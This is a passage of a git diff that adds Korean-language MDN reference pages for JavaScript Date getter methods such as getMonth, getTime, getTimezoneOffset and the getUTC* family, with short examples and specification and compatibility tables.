+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getMinutes")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setMinutes()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getmonth/index.html b/files/ko/web/javascript/reference/global_objects/date/getmonth/index.html
new file mode 100644
index 0000000000..48fe002a99
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getmonth/index.html
@@ -0,0 +1,94 @@
+---
+title: Date.prototype.getMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getMonth
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>getMonth()</code> </strong>메서드는 <code>Date</code> 객체의 월 값을 현지 시간에 맞춰 반환합니다. 월은 0부터 시작합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getmonth.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getMonth()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>현지 시간 기준 월을 나타내는 0에서 11 사이의 정수. 0은 1월, 1은 2월... 을 나타냅니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getMonth()_사용하기"><code>getMonth()</code> 사용하기</h3>
+
+<p>다음 예제는 {{jsxref("Date")}} 객체 <code>Xmas95</code>의 값을 사용해 변수 <code>month</code>에 11을 할당합니다.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var month = Xmas95.getMonth();
+
+console.log(month); // 11
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 필요한 경우 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat()")}}과 <code>options</code> 매개변수를 사용해 해당하는 달의 이름(<code>"January"</code> 등)을 가져올 수 있습니다. 이 방법을 사용하면 국제화도 보다 편리합니다.</p>
+
+<pre class="brush: js">var options = { month: 'long'};
+console.log(new Intl.DateTimeFormat('ko-KR', options).format(Xmas95));
+// 12월
+console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
+// December
+</pre>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.12', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getMonth")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setMonth()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/getseconds/index.html
new file mode 100644
index 0000000000..c5155d4d4a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getseconds/index.html
@@ -0,0 +1,83 @@
+---
+title: Date.prototype.getSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getSeconds
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>getSeconds()</code> </strong>메서드는 <code>Date</code> 객체의 초 값을 현지 시간에 맞춰 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getseconds.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getSeconds()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>현지 시간 기준 초를 나타내는 0에서 59 사이의 정수.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getSeconds()_사용하기"><code>getSeconds()</code> 사용하기</h3>
+
+<p>다음 예제는 {{jsxref("Date")}} 객체 <code>Xmas95</code>의 값을 사용해 변수 <code>seconds</code>에 30을 할당합니다.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var seconds = Xmas95.getSeconds();
+
+console.log(seconds); // 30
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.22', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getSeconds")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setSeconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/gettime/index.html b/files/ko/web/javascript/reference/global_objects/date/gettime/index.html
new file mode 100644
index 0000000000..20b554b41f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/gettime/index.html
@@ -0,0 +1,139 @@
+---
+title: Date.prototype.getTime()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getTime
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getTime()</strong> 메서드는 표준시에 따라 지정된 날짜의 시간에 해당하는 숫자 값을 반환합니다.</p>
+
+<p>이 메서드를 사용하면 다른 {{jsxref ( "Date")}} 객체에 날짜와 시간을 지정할 수 있습니다. 이 메소드는 기능적으로 {{jsxref("Date.valueof", "valueOf()")}} 메소드와 동일합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getTime()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 주어진 날짜 사이의 경과 시간 (밀리 초)을 나타내는 숫자입니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="날짜_복사에_getTime_()_사용">날짜 복사에 getTime () 사용</h3>
+
+<p>동일한 시간 값으로 날짜 객체를 생성합니다.</p>
+
+<pre class="brush: js">// 월은 0부터 시작하여 생일은 1995 년 1 월 10 일이됩니다.
+var birthday = new Date(1994, 12, 10);
+var copy = new Date();
+copy.setTime(birthday.getTime());
+</pre>
+
+<p> </p>
+
+<h3 id="측정_실행_시간">측정 실행 시간</h3>
+
+<p>새로 생성 된 {{jsxref ( "Date")}} 객체에서 두 개의 연속 getTime () 호출을 뺀 후에이 두 호출 사이의 시간 범위를 지정하십시오. 일부 작업의 실행 시간을 계산하는 데 사용할 수 있습니다. 불필요한 {{jsxref ( "Date")}} 객체를 인스턴스화하지 않으려면 {{jsxref("Date.now()")}}를 참조하십시오.</p>
+
+<pre class="brush: js">var end, start;
+
+start = new Date();
+for (var i = 0; i &lt; 1000; i++) {
+  Math.sqrt(i);
+}
+end = new Date();
+
+console.log('Operation took ' + (end.getTime() - start.getTime()) + ' msec');
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.9', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.setTime()")}}</li>
+ <li>{{jsxref("Date.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Date.now()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html b/files/ko/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html
new file mode 100644
index 0000000000..5f1681767f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html
@@ -0,0 +1,119 @@
+---
+title: Date.prototype.getTimezoneOffset()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getTimezoneOffset() </strong>메소드는 현재 로케일 (즉, 호스트 시스템 설정)에 대한 시간대 오프셋 (UTC)을 분 단위로 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getTimezoneOffset()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>현재 호스트 설정을 기반으로하는 날짜에 대한 시간대 오프셋 (UTC) (분)을 나타내는 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>시간대 오프셋은 UTC와 현지 시간의 차이 (분)입니다. 이것은 로컬 시간대가 UTC보다 뒤떨어져 있으면 오프셋이 양수이고 앞에있을 경우 음수임을 의미합니다. 예를 들어, 시간대 UTC + 10 : 00 (오스트레일리아 동부 표준시, 블라디보스토크 시간, 차모로 표준시)의 경우 -600이 반환됩니다.</p>
+
+<p>반환 된 표준 시간대 오프셋은 호출 된 날짜에 적용되는 오프셋입니다. 호스트 시스템이 일광 절약 시간으로 구성된 경우 오프셋은 Date가 나타내는 날짜와 시간에 따라 변경되고 일광 절약 시간이 적용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getTimezoneOffset()">Using <code>getTimezoneOffset()</code></h3>
+
+<pre class="brush: js">// 호스트 장치의 현재 시간대 오프셋 가져 오기
+var x = new Date();
+var currentTimeZoneOffsetInHours = x.getTimezoneOffset() / 60;
+
+// 2016 년 국제 노동절 (5 월 1 일)에 대한 시간대 오프셋 가져 오기
+var labourDay = new Date(2016,4,1)
+var labourDayOffset = labourDay.getTimezoneOffset() / 60;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.26', 'Date.prototype.getTimezoneOffset')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatIE("5")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcdate/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcdate/index.html
new file mode 100644
index 0000000000..f74fb120db
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcdate/index.html
@@ -0,0 +1,118 @@
+---
+title: Date.prototype.getUTCDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCDate()</strong> 메서드는 표준시에 따라 지정된 날짜에 해당 월의 요일 (날짜)을 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCDate()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>보편적 인 시간에 따라 지정된 날짜의 달의 날짜를 나타내는 1에서 31 사이의 정수입니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCDate()">Using <code>getUTCDate()</code></h3>
+
+<p>다음 예제에서는 현재 날짜의 일 부분을 day 변수에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var day = today.getUTCDate();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.15', 'Date.prototype.getUTCDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcday/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcday/index.html
new file mode 100644
index 0000000000..c451fba612
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcday/index.html
@@ -0,0 +1,118 @@
+---
+title: Date.prototype.getUTCDay()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCDay()</strong> 메서드는 지정된 날짜의 요일을 표준시에 따라 반환합니다. 여기서 0은 일요일을 나타냅니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCDay()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>지정된 날짜의 요일에 해당하는 표준시에 따른 정수입니다 (일요일은 0, 월요일은 1, 화요일은 2 등).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCDay()">Using <code>getUTCDay()</code></h3>
+
+<p>다음 예제에서는 현재 날짜의 평일 부분을 weekday 변수에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var weekday = today.getUTCDay();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.17', 'Date.prototype.getUTCDay')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcfullyear/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcfullyear/index.html
new file mode 100644
index 0000000000..f7097db08a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcfullyear/index.html
@@ -0,0 +1,121 @@
+---
+title: Date.prototype.getUTCFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCFullYear()</strong> 메서드는 표준시에 따라 지정된 날짜의 연도를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCFullYear()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>주어진 날짜의 연도를 표준시에 따라 나타내는 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><strong>getUTCFullYear()</strong>에 의해 반환 된 값은 1995 년과 같이 2000 년과 호환되는 절대 숫자입니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCFullYear()">Using <code>getUTCFullYear()</code></h3>
+
+<p>다음 예제에서는 현재 연도의 4 자리 값을 변수 year에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var year = today.getUTCFullYear();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.11', 'Date.prototype.getUTCFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutchours/index.html b/files/ko/web/javascript/reference/global_objects/date/getutchours/index.html
new file mode 100644
index 0000000000..11171e568c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutchours/index.html
@@ -0,0 +1,117 @@
+---
+title: Date.prototype.getUTCHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours
+---
+<div>{{JSRef}}</div>
+
+<p>getUTCHours () 메서드는 표준시에 따라 지정된 날짜의 시간을 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCHours()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>0부터 23까지의 정수로, 표준시에 따라 지정된 날짜의 시간을 나타냅니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCHours()">Using <code>getUTCHours()</code></h3>
+
+<p>다음 예제에서는 현재 시간의 시간 부분을 시간 변수로 지정합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var hours = today.getUTCHours();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.19', 'Date.prototype.getUTCHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
